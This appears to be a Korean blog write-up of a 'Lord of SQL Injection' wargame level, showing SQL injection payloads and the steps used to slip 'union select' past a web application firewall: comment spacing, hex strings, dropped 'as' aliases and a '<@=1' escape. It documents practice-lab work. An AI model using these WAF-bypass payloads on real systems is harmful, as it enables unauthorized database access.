union select 를 반드시 이용하라고 한다. 그러나 union select 를 곧이 곧대로 이용하니 아래와 같은 WAF 친구가 나를 반겨주었다.
'union select' 라는 문자열을 필터링하는 것 같다. 'union/**/select'로 우회하면 될 것 같다. 이후에는 union select 뒤에 나올 문자열 형식에 대한 문제다. 별것들이 다 막힌다. 제일 유력한 후보는 다음과 같다.
id='\' and pw=' union/**/select 'first','second'#
이것도 WAF에 막혀버린다. 16진수로 바꾸어보자.
id='\' and pw=' union/**/select 0x6669727374,0x7365636f6e64#
이것도 막힌다. pw 영역에서 'first' 혹은 'second' 문자열 자체가 막혀버리는 것 같다. as 를 이용하여 문자열을 임시적으로 다른 놈으로 바꾸어 놓을 수 있을까?
id='\' and pw=' union/**/select 'first' as a,'second' as b#
WAF는 as 도 필터링하는 것 같다. 그러나 as 문은 축약해서 쓸 수 있다. 'text' as a 를 'text' a 로 간단하게 'as'를 생략하여 나타낼 수 있다.
최종적으로 성공한 payload 이다.
id='\' and pw=' union/**/select 'first' a,'second' b#
다른 블로그의 payload도 공부하던 중에 '<@=1' 을 사용하여 id 영역의 문자열을 빠져나오는 방법이 있었다. 심지어 'first','second' 문자열도 필터링되지 않는 것 같다. id 영역에서 이루어져서 그런 것으로 판단된다.
id='<@=1 union/**/select 'first','second'#
'<@=1' 에 관련된 내용이다.
https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181
무기 하나 더 획득.
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - revenant (0) | 2021.10.05 |
---|---|
Lord of SQL Injection - poltergeist (0) | 2021.10.03 |
Lord of SQL Injection - chupacabra (0) | 2021.10.03 |
Lord of SQL Injection - banshee (0) | 2021.10.03 |
Lord of SQL Injection - manticore (0) | 2021.10.03 |